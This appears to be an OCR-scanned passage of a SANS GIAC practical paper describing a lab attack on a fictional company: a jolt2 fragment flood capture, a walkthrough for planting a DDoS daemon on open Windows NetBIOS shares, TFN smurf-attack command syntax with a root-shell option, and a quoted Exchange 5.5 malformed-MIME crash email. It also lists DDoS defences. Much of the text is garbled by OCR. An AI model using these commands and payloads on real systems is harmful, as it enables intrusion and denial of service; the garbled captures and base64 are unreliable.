Z 35_355E10 3SCOM EE4818 LOCAL Ip ID = Ox455; Proto = ICMP; Len: 23, Frag. Offset = &55EZ0 (OxFFFO)

3 38_355Z10 3ZCOM EE4818 LOCAL Ip ID = 0Ox455; Proto = =

ICMF; Len: 29, Frag. Offset 55520 (0xFFFO) ==
4| | »

dpFrame: Ease frame properties
ERETHERNET: ETYPE g
=Ip: ID = 0Ox455; Proto = ICHP;

IF: Wersion = 4 (0Ox4)

IP: Header Length = 20 (0xl4)

IP: Precedence = Routine

IP: Type of Serwice = Normal Serwvice

IF: Total Length = 25 (0x1D)

IP: Tdentification = 1109 (0Ox4EE)

=IF: Flags Summary = 240 (0xF0)}
IP: ....... 0 = Last fragment in datagram
IP: _.....0. = May framment datagram if necessary

IFP: Fragment Offset = &£55Z0 (0OxFFFO) bytes

IF: Time to Liwe = Z55 (0OxFF)

IF: Protocol = ICHMP - Internet Control Message

IP: Checksum = 0x335F

IP: Source Address = 110.20.Z0.32

IP: Destination Address = 110_Z0.Z20.2

IFP: Fragmented Datagrawm Data: HNumber of data bytes remaining = 2 (0x0003)

IF: Padding: Number of data bytes remaining = 17 (0x0011;

ooo0o0o00z0 14 02 08 00 00 00O 00 OO0 00 00 OO0 00 OO0 0O 00 OO0 Te@. ... ... :d
00000030 00 00 00 00 Q0 00 00 00 00 Qo0 0O 000 L. L...
-
4

DOD Internet Prot
» Frag. Offset = gEEZ0

‘|

Here is a capture of the traffic coming at the victim. “The fragment length is a computed
field using the IP datagram total length minus the IP header length. The IP total length is
0x1d or decimal 29 and the IP header length is actually five 32-bit words which translates
to a 20-byte standard IP header. That is where the 9 bytes comes from and as you can see,
the ICMP message is actually 9 bytes long.” ¢ The Mikael Olsson analysis article ’
mentions the Checksum value of 0. Since this is not the case here, I assume we are using
a newer version that corrected that issue.
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% Windows Task Manager

File Options Yiew Help
Applications 1 Processes Performance l

—CPU Lsage 1 CPU Usage History

—MEM sage - —Mermory Usage Hisbary

B4 128k

—Tatals -Phywsical Memorw (K)
Handles Total
Threads Available

| Processes Systemn Cache

—Commit Charge (k) - ~Kernel Memorw (k) -
Total 84728 Total
Lirnik 150236 Paged

| Peal 117296 | | Monpaged

lProcesses: 23 |[CPU Usage: 96% Mem Usage: 84728K | 150236K

The victim that was used in my lab reflects an unpatched Windows 2000 Server box. I
captured this screen shot immediately after shutting down jolt2. The graph reflects the
box coming down off 100% CPU utilization. The multiple spikes in the graph reflect
starting and stopping jolt2 multiple times. If the firewall at GFC has not been patched
then similar results may be seen.

Denial of Service

Next we look at doing a distributed denial of service attack using 50 compromised hosts
on cable/dsl modems. A DDoS is comprised of several components. Here is a list from
an article titled — “TFN2K - An Analysis”, written by — Jason Barlow and Woody
Thrower.

“The terminology used in DDoS analyses is often confusing. For clarity, we
use the following:

Client - an application that can be used to initiate attacks by sending
commands to other components (see below).

Daemon - a process running on an agent (see below), responsible for
receiving and carrying out commands issued by a client.
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Master - a host running a client
Agent - a host running a daemon
Target - the victim (a host or network) of a distributed attack’

The first objective would be to compromise the 50 hosts. One way to do this would be to
use a tool like sscan to probe for known vulnerabilities. Using the list of discovered hosts
a script would be used to break into each one and install the server software (daemon).
After capturing the 50 hosts we then can control them from our client. Sending
commands to the agents with the address(es) of the target(s). We have all heard about the
dangers of the Microsoft NetBios services running on a system that is connected to the
Internet with no protection. Well let’s see how easy it would be to find them and hide a
server (daemon) for later use. This example called “NetBios Hacking” was found at
http://neworder.box.sk/newsread.php?newsid=4682.

Step 1 —use nmap to scan a network range looking for the MS services.

Nmap —sT —P0 -O —p 137-139 —oN nbt.txt 110.10.10.0/30

# nmap (V. 2.54BETA22) scan initiated Sat Jun 8 19:15:38 2002 as: nmap
-sT -PO -O -p 137-139 -oN nbt.txt 110.10.10.0/30

Warning: OS detection will be MUCH less reliable because we did not
find at least 1 open and 1 closed TCP port

Interesting ports on (110.10.10.0):

Port State Service
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn

Too many fingerprints match this host for me to give an accurate OS
guess

Warning: OS detection will be MUCH less reliable because we did not
find at least 1 open and 1 closed TCP port

All 3 scanned ports on (110.10.10.1) are: closed

Remote OS guesses: Cisco CPA2500 (68030) or 2511 router, Cisco
1600/3640/7513 Router (IOS 11.2(14)P), Cisco Router/Switch with IOS
11.2

Interesting ports on (110.10.10.2):

(The 2 ports scanned but not shown below are in state: closed)

Port State Service

139/tcp open netbios-ssn

Remote operating system guess: Windows NT4 / Win95 / Win98

Warning: OS detection will be MUCH less reliable because we did not
find at least 1 open and 1 closed TCP port

Interesting ports on (110.10.10.3):

Port State Service
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
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Too many fingerprints match this host for me to give an accurate OS
guess

# Nmap run completed at Sat Jun 8 19:24:36 2002 -- 4 IP addresses (4
hosts up) scanned in 538 seconds

Here we have scanned the network range of 110.10.10.1-3. It found my Cisco router at
110.10.10.1 and found what looks like a Windows box at 110.10.10.2. It shows that this
host is listening on port TCP 139.

2) Next we will use the nbtstat —A command to see if we can enumerate.
Nbtstat —A 110.10.10.2

1= Command

Here we see what we are looking for “WIN98VICTIM <20>’. This means that this host
has Windows File and Print Sharing turned on.
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3) Next we add the IP address and WIN98VICTIM to our host table like this.

Command - edit hosts

File Edit Search Uiew Options Help
. = “WINDOUS s ysten32hdriverssetchhosts
This is a sample HOSTS file used by Microsoft TCPAIP for UWindows.

This file contains the mappings of IP addresses to host names. Each
entry should bhe kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.
The IP address and the host name should bhe separated hy at least one
SPACE .

Additionally,. comments (such as these> may be inserted on individual
lines or following the machine name denoted hy a '#' symbol.

For example:

182 .54.94 .97
38.25.63.18

4) Then we do a search on the IP address.

e

rhino.acme .com
¥ .ACME . COMm

127.8.8.1 localhost
118.18.18.2 Win?8victim _

* ® ¢ on Windows 98 (1 10.10.10.2)

Fle Edit View Favorites Tools

Q Back - L ir /T‘-’ Search

ess | W110.10.10.2Y

Search Companion x

Which computer are you
looking for?

Computer name:
110.10.10.2

You may also want to...

£ Search this comouter for

Help

Mame

_JMy Documents

[_JProgram Files
RECYCLED

|[CIWINDOWS
_MavCClt.Log

[FlauToekeC BAT

%l BOOTLOG.FRY
BOCTLOG.TXT

Flcommann.com

&= conFi.svs
DETLOG.TXT

== ffastun0.fix

= ffastun.ffa

= ffastun.ffi

| ffastun.ffo

Line:28

Folders E -

SOUrce Server
# x client host

Date Modified
2/18/2002 9:12 AM
2/18/2002 8:17 AM
2/18/2002 6:33 AM
2/18/2002 8:21 AM
2/18/2002 6:33 AM
2/18/2002 3:08 AM
6/3/2002 6:19 PM
2/18/2002 8:16 AM
2/18/2002 8:35 AM
4/23/1939 10:22 PM
6/3/2002 6:19 PM
2/18/2002 6:59 AM
3/20/2002 5:41 AM
3/20/2002 5:41 AM
3/20/2002 5:41 AM
3/20/2002 5:41 AM

Col:=29

@@

w aGo
~

As seen above the drive is shared and is not password protected. If we had run into
one that was password protected we could use a tool like pqwack to crack it. This tool
can be downloaded from http://www.outcomm.civ.pl/w_expl.shtml.

© SANS Institute 2000 - 2002

As part of GIAC practical repository.

Author retains full rights.



File Edit View Favorites Tools Help

@ Back - _j ? |/‘_) Search I | Folders

| Adcress |53 11110.10.10.2\cWINDOWS
Search Companion x Mame
i [TlwinneT ExE
Which computer are you » EWINIPCFG'B:E
looking for? %] winLoGo.GIF
s e [Flwmrorup Exe
R 1| Dwreerec
- | %) WINSOCK DLL
You may also want to... WINUPD.ICO
' Search this comouter for Flwimiver Exe
Fwaview.exe
| %] wmplibrary_v_0_12.db
.‘=_1 wmzetup.log
@WMSysPrx.prx
[FwrTE.EXE
[FlwscripT.EXE
Ewupdmgr £xe
[Z] zombie.bet

5) The last step is to move the server or daemon onto the machine. I have
demonstrated this in the screen shot above copying the zombie.txt file from my
desktop (top left corner of screen shot) to the Windows subdirectory on the victim
host. It is listed at the bottom of the files. Now only 49 more to go! It is
speculated that 10% of all Windows machines connected to the Internet have File
and Print sharing turned on. Something to think about. If my preference were
Linux boxes I might use something like Torn-Kit. This is a root kit that has been
optimized for mass installations on linux/x86 boxes and can be used against
machines that have the wuftp or rpc.statd vulnerabilities.

After several long nights of comprising hosts, I can now turn them into a little army with
the client located on my machine. Here is the syntax for using this DDoS tool.

./tfn <iplist> <type> [ip] [port]
<iplist> contains a list of numerical hosts that are ready to flood
<type> -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts

[ip] target ip[s], separated by @ if more than one
[port] must be given for a syn flood, 0 = RANDOM
Explanation:

<iplist> - this is the file that contains the IP addresses of the compromised hosts running
the server daemon.

-2 <bytes> - by default TFN uses a small packet size, this option allows you to increase.
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-1<mask> - can set the spoof mask. 0 will use a random ips, 1 uses the correct class A, 2
the correct class B, and 3 the correct class ¢ IP value.

0 - Stops the current floods

1 <targets> - udp floods. Multiple targets are separated by the ‘@’ as the delimeter
2 <targets> <port> - Starts a SYN flood. If port is 0, will use random port

3 <targets> - icmp echo request flood

4 <port> - Bind a root shell to <port>. (Has to be compiled with ID SHELL)

5 <targets@bcasts> - Smurf amplifier icmp attack. This attack only supports a single
target. The rest of the addresses are used as smurf amplifiers.

So to do a DDoS attack on GFC using TFN you would type the command;
#./tfn hosts.txt -2 500 -1 2 5 gfcipaddress@amplifieraddress | @amplifieraddress2(@...

This would instruct the hosts to start a SMURF attack against GFC using a packet size of
500 bytes.
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=
VICTIMTARGET

The chances are high that we have consumed all of GFC’s T1 bandwidth. Obviously
since this company’s lifeline of income is generated from Web traffic this could be
financially devastating. And if this were allowed to happen on multiple occasions, could
in fact hurt the company’s business reputation long term. There are preventative
measures that can be taken to combat this situation. Several suggestions are listed below
from the “Usenix Security Symposium 2000 DDoS -- Is There Really a Threat?”
which can be located at http://staff.washington.edu/dittrich/talks/sec2000.

13

» Network Ingress and Egress Filtering (RFC 2267 and Egress Filtering v 0.2)

+ Rate limiting and Unicast reverse path forwarding (e.g, Cisco Strategies to Protect
Against Distributed Denial of Service (DDoS) Attacks)

+ Improve Intrusion Detection capabilities (e.g., using Snort)

« Audit Hosts for DDoS tools (e.g., NIPC's find_ddos program)

+ Audit Networks for DDoS tools (e.g., RID)

« Have an Incident Response Team (IRT)

» Have/enforce policies for securing hosts on your network
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« Have a good working relationship with your upstream(s)
» Buy insurance to cover service disruption
+ Building separate "netops" networks “

Other suggestions would be to work with your ISP to do ingress filter from their network
to your network. GCF might also look at acquiring a second ISP to provide an alternative

path in if its primary connection becomes an attack victim.

Compromise and internal host

The last task is to compromise an internal system through the perimeter. Mr. Brengel
mentions in his paper that the mail server is Microsoft Exchange. This would be a good
candidate because the mail server has become the heartbeat of today’s companies. It is
literally the hub of most of the communications internally as well as externally. After
some searching on Exchange I found information on a MS Exchange vulnerability called
“Exchange Server Malformed MIME Header vulnerability. It seems that Exchange 5.5
pre service pack 4 does not properly handle emails with a certain type of invalid MIME
header. This causes a denial of service since the results of sending such an email causes
the server to fail and the service cannot be restarted until the email has been deleted.
Since an email address can be easily spoofed, the chances of being discovered would be
very low at best. Below is an excerpt from the web page at SecuriTeam.com ™
(Exchange Server Attachment DoS attack (boundary)).

“Vulnerable systems:
Microsoft Exchange 5.5

Microsoft Information Store (STORE.EXE) can be cause to crash by sending an email
with an attachment whose boundary has been set to "" (nothing).

Exploit:
Sending such a message as written below (or modifying an existing message) to contain
boundary ="", will cause the Exchange Server 5.5 to crash upon receipt of this email.

Date: Mon, 21 sep 2020 22:27:24

From: Anyone <at@athome.com>

To: someone <at@example.com>

Subject: Test

MIME-Version: 1.0

Content-Type: multipart/mixed;
boundary =""

This is a multi-part message in MIME format.

Content-Type: text/plain;
charset="is0-8859-1"

Content-Transfer-Encoding: 7bit

Content-Type: application/octet-stream;
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name=about.html
Content-Transfer-Encoding: base64
Content-Disposition: attachment;

filename=about.html

PEhObWw+DQo8SGVhZD4NCjxUaXRsZT4NCmFib3V0DQo8L1RpdGxIPg0OKPCIIZ
WFkPgOKPE

Qkdjb2xvcj0il2ZmZmZmZil+DQoNCjwhLS0gVGhIIHRhY mx1IGlzIG5vdCBmb3JtY X
ROZWQgbmlj

ZWxSIGIIY2F1c2Uge29tZSBicm93c2VycyBjY W5ub3Qgam9pbiBpbWFnZXMgaW4gd
GFibGUgs

bHMgaWY gdGhlemUgY XJIIGFueSBoY XJkIGNhenJpY WdIIHJIdHVybnMgaW4gY SB
URC4gLS0oN

CjxUYWIsZSBCb3JkZXIOjAIIENIbGxTcGFjaW SnPSIwliBDZWxsUGFkZGluZz0iM
ClgPgOKCTxU
cj4NCgkJPFRkIFdpZHRoPSIyMClIgSGVpZ2hOPSIyNSI+PCOUZD4NCgkIJPFRkIFdpZ
HRoPSIzM
IEhlaWdodDO0iMjUiPjwvVGQ+DQoJCTxUZCBXaWR0aD0iMjkilEhlaWdodD0iMjUiP
JwvVGQ+DQol
CTxUZCBXaWR0aD0iMzQ4IiBIZWInaHQO1jI11j48L1RkPgOKCTwvVHI+DQoJPFRy
PgOKCQkS8
V2lkdGg9ljIwliBIZWInaHQI9LE0Ij48L1RkPg0KCQk8VGQgV21kdGg91jMyNilgSGVp
Z2h0PSIx
NCI+PCOUZDANCgkJPFRKIFdpZHRoPSIyOSIgSGVpZ2hOPSIXNCI+PCOUZD4NCgkJ
PFRkRo

PSIzNDgilEhlaWdodD0iNDUyliBSb3dTcGFuPSIzIj48SW 1nlFNyYz0iaW 1hZ2VzL2Fi
b3V0cGhh
c21hXzJtMC5qcGeilEJvemRIcj0iMCIgSGVpZ2hOPSIONTIIFdpZHRoPSIzZNDgilEShb
WU9ImFi

b3VOIiBBbHQIIIBoY XNtYSAyLjAiPjwvVGQ+DQoJPCIUCcj4NCgk8VHI+DQoJCTx
UZCBXaWR
MjAilEhlaWdodDOiNDEOIj48L1RkPgOKCQk8VGQgV2lkdGg9ljMyNilgSGVpZ2hOPS
IOMTQIiPjxJ

bWcgU3JjPSJIpbWFnZXMvY WJvdXRsaWNIbmNIZF90b18uanBnliBCb3JkZXI9AiIE
hlaWdod
NDEOIiBXaWR0aD0iMzI2[iBOYW11PSJhYm91dDEIIEFsdD0ibGljRW5jRWQgdG86]]
48L1RkPg
CQk8VGQgV21kdGgjISIiBIZWInaHQIjQxNCI+PCIUZD4ANCgk8L1RyPg0OKCTxUc
JANCgkIJPF
IFdpZHRoPSIyMClIgSGVpZ2hOPSIyNCI+PCOUZD4ANCgkJPFRkIFdpZHRoPSIzM;Yil
EhlaWdod
MjQiPjwvVGQ+DQoJCTxUZCBXaWR0aD0iMjkilEhlaWdodD0iMjQiPjwvVGQ+DQo
JPC9Ucj4N

VHI+DQoJCTxUZD48SW InlFNyYz0iaW 1hZ2VzL21zZX3NpbmdsZV9waXhlbFonaWyY
uZ2lmliBB

lilgV21kdGg9ljIwliBIZWInaHQILEiPjwvVGQ+DQoJCTxUZD48SW InlFNyYz0iaW 1
hZ2Vz1.21z

X3NpbmdsZV9waXhlbFOnaW YuZ2ImliBBbHQIIilgV2lkdGg9ljMyNilgSGVpZ2hOPSI
x]j48L1Rk

PgOKCQkS8VGQ+PEIZyBTemMO9ImltY Wdlcy9pc19zaWSnbGVcGl4ZWxfZ2ImLmdp
ZilgQWx
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IFdpZHRoPSIyOSIgSGVpZ2hOPSIxIj48L 1 RkPg0K CQk8VGQ-+PEItZyBTemM9ImltY

r\]gécn}‘;%)VchMZWxfZZlmLmdeiIgQWxOPSIiIdeZHRoPSIzNDgiIEhlaWdodDOiMS
I(;L;%i[fRyPgOKPC9UYWJsZT4NCgOKDQoSISOtQWRVYmUoUikgSWthZVTdHlsZ

i{(}IE(;S\;E&UIEVESVQNCmVuZCBEYXRhTWFwICOtPgOKPC9Cb2R5PgOKPC9IdGlsP
g0KAAAA

Solution:

1) Shut down all Exchange Services

2) Remove the email from the IMCDATA directory.
3) Restart exchange.” 8

Based on this information and using information from GFC’s web page under ‘Contact
Us’, a crafted email could be sent to a valid GFC email address and cause the Exchange
server to fail. If successful this would cause a denial of service on the Exchange server
for some period of time. Since it is not known if the patch has been applied the results of
the attack or unknown.
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“For all I know today...
Tomorrow I will need to know more...”
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